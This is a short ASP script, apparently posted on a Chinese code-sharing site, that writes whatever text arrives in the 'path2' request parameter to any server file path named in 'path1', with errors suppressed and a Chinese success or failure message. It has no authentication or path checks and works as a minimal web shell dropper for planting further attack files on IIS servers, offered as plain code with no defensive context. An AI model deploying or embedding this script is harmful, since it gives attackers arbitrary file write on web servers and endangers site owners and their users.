<% dim FSO %> <% dim Data %> <% dim MyFile %> <% on error resume next %> <% Set FSO = Server.CreateObject("Scripting.FileSystemObject") %> <% if Trim(request("path1"))<>"" then %> <% Data = request("path2") %> <% Set MyFile=FSO.CreateTextFile(request("path1"),True) %> <% MyFile.Write Data %> <% if err =0 then %> <% response.write "成功啦! :)" %> <% else %> <% response.write "失败啦! :(" %> <% end if %> <% err.clear %> <% end if %> <% MyFile.Close %> <% Set MyFile=Nothing %> <% Set FSO = Nothing %> <% Response.write "" %>
|
下一篇:浏览文件夹下面所有图片
QQ客服
公众号
手机版
帮助中心